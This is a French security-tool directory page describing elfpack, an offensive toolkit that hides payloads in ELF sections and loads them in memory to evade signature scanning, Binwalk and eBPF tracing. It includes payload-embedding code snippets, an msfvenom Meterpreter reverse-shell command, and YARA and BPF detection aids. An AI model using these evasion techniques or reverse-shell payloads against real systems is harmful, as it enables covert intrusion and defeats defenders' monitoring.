Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
elfpack — Boîte à outils de greffage de sections de binaires ELF pour la livraison de charges utiles sans stage, permettant l'attachement de charges utiles sur le terrain, l'évasion de signatures et la résistance au chargement statique/dynamique via la manipulation personnalisée de sections ELF. | Kitploit
Outils/GitHubGitHub/dsnezhkov/elfpack
Génération de PayloadsExploitationAnalyse de MalwareTests d'IntrusionAnalyse de BinairesRed TeamingDéveloppement de Charges Utiles
GitHubdsnezhkov/elfpack

elfpack

Voir le dépôt
5110il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Boîte à outils de greffage de sections de binaires ELF pour la livraison de charges utiles sans stage, permettant l'attachement de charges utiles sur le terrain, l'évasion de signatures et la résistance au chargement statique/dynamique via la manipulation personnalisée de sections ELF.

Partager

ElfPack : Amarrage de sections ELF binaires pour la livraison de charges utiles sans étapes

Points forts

  • Aperçu des mécanismes de regroupement de charges utiles : compilation, édition de liens et chargement.
  • Compatibilité binaire et création de charges utiles faiblement couplées à leur mécanisme de livraison.
  • Évitement du chargement automatique en mémoire des sections.
  • Utilisation de types de sections structurées.
  • (Ré-)attachement de charge utile sur le terrain aux chargeurs via les sections ELF. Apportez votre propre charge utile.
  • Contournement de signature avec des sections ELF précompilées détachées.
  • Attachements de charge utile « drive-by » aux chargeurs avec un pipeline de génération de charge utile.
  • Création de binaires de charge utile « fat » et argument contre l’utilisation de packers binaires.
  • Emballage de charges utiles complexes.
  • Options d’obscurcissement de la charge utile et de protection de la clé.
  • Résistance au traçage de chargement de charge utile statique et dynamique. Binwalk et eBPF.

Intégration des charges utiles

Inclusion hexadécimale avec compilation et édition de liens

  1. Directement dans la section de données par défaut ou le texte : Normalement, le compilateur place les objets qu'il génère dans des sections comme .data.

payload.h :

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23
};

Réalisé manuellement ou avec des outils comme bin2c ou xxd -i payload.bin > payload.h avec inclusion ultérieure du fichier d’en-tête.

Stocker les charges utiles dans .text et .data de manière générique est également une mauvaise idée en raison de la facilité du traçage de chargement et de l’introspection des sémantiques comportementales du chargement de données pour exécution.

  1. Dans une section séparée. Vous pouvez placer les données de la charge utile dans des sections supplémentaires, ou vous avez besoin que certaines variables particulières apparaissent dans des sections spéciales. Cela se fait via un mécanisme dépendant du compilateur. Sous gcc, cela se fait via les __attribute__. C’est un peu mieux mais reste bien traçable en raison de la façon dont ELF est créé et chargé.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Initialiser le pointeur de pile */
    init_sp (stack + sizeof (stack));

    /* Initialiser les données initialisées */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Inclusion binaire par l’éditeur de liens

Une directive de type .incbin dépendante de l’assembleur peut créer une section et intégrer une charge utile. Ex : gcc -c payload.s ou ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

Avec récupération ultérieure dans le chargeur :

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Note : Nous pouvons inclure un ELF entièrement fonctionnel dans le payload.bin, ce qui est important pour créer des binaires « fat », contenant des éléments de plusieurs toolkits.

Note : Des outils plus ergonomiques existent pour accomplir la tâche, comme INCBIN de @graphitemaster [lien]

Une variante sur le thème est l’ASM en ligne comme ceci :

root@kitploit:~
/* Données d'image brutes pour toutes les images intégrées */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Structures d'image pour toutes les images intégrées */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Note : Remarquez PROGBITS dans la définition d’une section, cela sera important.

L'inclusion binaire de la charge utile via compilateur/éditeur de liens n'est pas idéale

Il y a des compromis :

  • Le processus d’intégration est étroitement lié à la création du chargeur de charge utile.
  • Qu’en est-il des changements de format de la charge utile ?
  • Par défaut, les sections porteuses de données ont l’indicateur PROGBITS activé et seront chargées en mémoire par le chargeur OS par défaut. Nous ne voulons peut-être pas cela.

Représentation disque/mémoire ELF d’une section

Diagramme ELF PROGBITS

Le type de section et les indicateurs définis sur la nouvelle section contenant déterminent si le chargeur OS charge la section en mémoire lors du lancement de l’exécutable. Certaines sections sont chargées automatiquement par défaut, d’autres non (par exemple .symtab, .strtab).

En tant qu’offensif, quelles efficacités pouvons-nous en tirer ?

Intégration des charges utiles : deuxième version

  1. Nous pouvons éviter de définir des indicateurs sur les sections qui supposent un chargement par défaut en mémoire.

  2. Nous pouvons utiliser un type de section différent qui ne charge pas en mémoire.

Un fournisseur ou un ingénieur système peut avoir besoin de marquer un fichier objet avec des informations spéciales que d’autres programmes peuvent vérifier pour la conformité ou la compatibilité. Les sections de type SHT_NOTE et les éléments d’en-tête de programme de type PT_NOTE peuvent être utilisés à cette fin.

Dans ce dernier cas, nous pouvons voir l’utilisation de ce type de section dans les binaires système :

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

Et inspecter leur contenu :

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

Le résultat final de la création d’une section SHT_NOTE ressemblera à ceci dans l’ELF : SHT_NOTE

Bonus : SHT_NOTE nous donne une structure si nous en avons besoin (et nous l’utiliserons plus loin) :

Structure SHT_NOTE

Amarrage de sections ELF

Jusqu’à présent, nous avons pu créer une section, éviter son chargement en mémoire par le chargeur OS. La section est effectivement dormante dans l’image ELF pour le moment. Nous discuterons de la façon de la charger un peu plus tard. Cependant, une question plus pressante est le fait que nous opérons toujours au niveau du compilateur et de l’éditeur de liens, et que la section est un objet qui est tissé dans la structure de l’ELF final, créant des relations et des adresses mémoire à partir du code du chargeur qui référence son contenu.

Objet de section ELF

Et si nous étions capables de créer une section ELF avec une charge utile intégrée en dehors du flux de travail de compilation du chargeur, et d’attacher cette section ultérieurement au binaire du chargeur ?

Cela romprait la relation entre le code du chargeur et l’interaction avec la section. Ensuite, nous apprenons au chargeur comment trouver et charger sa section de données étrangère, « amarrant » effectivement une charge utile à un chargeur de manière faiblement couplée.

Conceptuellement, nos objectifs seraient :

  • Le chargeur ne doit pas être empêtré dans la sémantique de la charge utile.
  • Charger et exécuter la charge utile :
    • Sans modifier le code du chargeur du tout ?
    • Sans utiliser le chargeur OS ld.so (chargeur ELF) qui charge automatiquement les segments de la charge utile en mémoire.
  • (Ré-)attachement de la charge utile sur le terrain.

La relation chargeur/charge utile (dans la section) ressemblerait maintenant à ceci :

Relation chargeur/charge utile

Nous pouvons alors créer un injecteur qui introduira une section de charge utile dans le chargeur sans que l’un ou l’autre n’opère au niveau du code, uniquement avec une compatibilité binaire (et le chargeur sachant comment charger n’importe quelle section de charge utile).

Injecteur ELF

Quelques résultats d’une telle configuration d’amarrage de sections ELF générique :

  1. Un chargeur ELF statique peut alors être livré seul, dépourvu de charges utiles, uniquement avec des mécanismes pour charger une section à la demande et amorcer la charge utile à partir de celle-ci.

  2. La charge utile peut être conditionnée séparément et regroupée avec le chargeur à tout moment comme une étape statique, ou ultérieurement avec un injecteur. La charge utile peut souvent être chiffrée, souvent être elle-même un exécutable ELF si nécessaire, tant que le chargeur connaît non pas la structure de la charge utile mais uniquement ses capacités d’emballage.

  3. L’injecteur peut négocier l’attachement de sections provenant de plusieurs binaires (étapes dormantes) pour construire une section et l’injecter dans le chargeur.

  4. Il y a des avantages à la construction au niveau des sections par rapport à l’emballage de plusieurs ressources dans un exécutable. Il n’y a pas de surcharge de détection liée au traitement et au code du packer. Il y a des gains en termes de portage de plusieurs sections avec d’autres outils qui reposent sur un lancement en mémoire et ne peuvent pas être facilement emballés en raison de la façon dont les packers doivent extraire les binaires dans le système de fichiers. (Section sur les binaires fat plus loin)

Composants de l’amarrage ELF :

Discutons des composants de l’amarrage de sections ELF plus en détail.

Injecteur de sections ELF :

Disposition : arrière ou sur le terrain Avantages :

  • Chargeur agnostique vis-à-vis de la charge utile (proxy)
  • Pipeline de génération de charge utile rationalisé
  • Attachement de la charge utile au chargeur sur le terrain sans compilateur si nécessaire

Chargeur de sections ELF :

Disposition : sur le terrain Avantages :

  • Agnostique vis-à-vis de la charge utile attachée
  • Charge des ELF complets ou du shellcode (plus de possibilités) en lisant et analysant son propre binaire.
  • Si vous avez besoin de shellcode, vous pouvez créer un ELF en cours d’exécution à partir de celui-ci (par exemple, mettle de Metasploit)
  • Le traçage ne voit pas les appels mprotect()
  • Séparation étanche (airgapped) entre l’endroit où se trouve la charge utile et les tableaux .DATA normaux.
  • Cela réalise une abstraction pour les traceurs.
  • Capacité à accepter et transmettre des arguments aux charges utiles elles-mêmes

Charge utile binaire :

Avantages :

  • La charge utile est un programme entièrement fonctionnel avec moins de contraintes, données, segments LDD intacts.
  • Elle peut être obscurcie de manière unique sans égard à l’espace (les enregistrements .NOTE sont de taille variable)
  • Elle peut être extraite vers le système de fichiers ou exécutée dans le cadre d’une table des matières (chargeurs de charges utiles fat).
  • Elle n’a pas besoin d’être relocalisée, peut être chaînée à d’autres chargeurs.
  • Exemple d’attachement croisé et de contournement de détection : Le chargeur A lit la charge utile du chargeur B.

Opportunités de contournement

Renforcement de l’injecteur/packeur de sections ELF :

  • Charge utile XORée mais AES peut être implémenté.
  • Métadonnées de clé XOR stockées dans un filigrane hors bande.
  • Les clés XOR ne sont pas divulguées.
  • Obscurcissement supplémentaire des données XORées possible.

Renforcement du chargeur ELF :

  • Charge utile XORée par défaut, mais AES peut être implémenté.
  • Les métadonnées de clé XOR sont extraites du filigrane hors bande.
  • Séparation temporelle entre le lancement du chargeur et le chargement de la charge utile si nécessaire.
  • Fonctionnalité de démonisation (capacité à travailler avec userland exec et memfd_create)
  • Possibilité de contournement pour le calcul d’entropie de la charge utile et l’anti-carving : Binwalk ne voit pas la charge utile par défaut, ne peut pas la découper (exemple dans la démo : empaquetage d’une charge utile msfvenom)

Discussion sur le chargeur spécifique au toolkit d’amarrage de sections ELF :

Quelques mots sur le chargeur de sections ELF travaillant avec le lanceur de charge utile :

Le chargeur peut utiliser l’un des deux mécanismes d’exécution de charge utile en mémoire :

  • Option A : SYS_Memfd_create ()

    • Réalisé avec libreflect[lien] mais peut être fait avec ZombieAnt pre-loader[lien]
    • Plus détectable à certains niveaux :
      • Fichier anonyme dans /proc/self/fd/
      • Utilise sys_memfd_create (syscall #319)
    • Effectue fork/exec, le traçage BPF pour execve() enregistrera.
  • Option B : Userland Exec (https://grugq.github.io/docs/ul_exec.txt)

    • Réalisé avec libreflect pour l’instant. Interface agréable.
    • Évite (hollows out) le chargeur et le recouvre avec la charge utile.
    • Pas d’appels sys_enter_exec / sys_exit_exec. Le traçage BPF pour execve() n’est pas détecté.
    • Inconvénient : vous ne pouvez pas vous démoniser via le chargeur (la mémoire du chargeur est perdue lors du recouvrement) Mais la charge utile peut se démoniser elle-même lors de son lancement : La beauté de livrer des binaires ELF par rapport à du shellcode 

Exécution du workflow : Injecteur ELF Injecteur ELF

Opportunités de contournement de Binwalk après charge utile de section ELF vs charge utile MSF : Injecteur ELF

Contournement eBPF vs packeur de sections ELF : Injecteur ELF

Outils de détection :

Vérificateur et tests YARA : Injecteur ELF

Injecteur ELF

Définition d’outil STIX :

Injecteur ELF

Construction du POC ELFPack

  • Pour Cmake : avant la construction propre, exécutez : cmake --configure . pour configurer votre environnement de construction. Nous supportons actuellement CMake 3.18.
  • ./build.sh

Dépendances ELFPack :

  • Nous utilisons la bibliothèque libreflect pour ce POC depuis https://github.com/rapid7/mettle
  • Elle est construite pour vous et distribuée sous vendor/lib/reflect/libreflect.a mais peut être reconstruite depuis le dépôt d’origine si nécessaire.
  • Exécution : Si vous souhaitez jouer avec BPF et bpftrace, veuillez installer les en-têtes de noyau appropriés pour votre distribution.

Utilisation

  • Frontend : Voir run.sh
  • Backend : Ce POC fonctionne avec l’implant Metasploit mettle, donc pour capturer votre trafic sur le serveur MSF, vous utiliseriez un fichier RC aux/msfrc comme ceci :
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • La charge utile MSF (mettle) peut être générée comme suit :
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • Le traçage BPF peut être effectué comme suit (vous avez besoin des droits root) :
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Exemple d’intégration YARA via les liaisons Python dans aux/triage/elfpack_yar.py
root@kitploit:~
./aux/triage/elfpack_yar.py <chemin/vers/fichier/elf> [section_elf]
Télécharger l’outil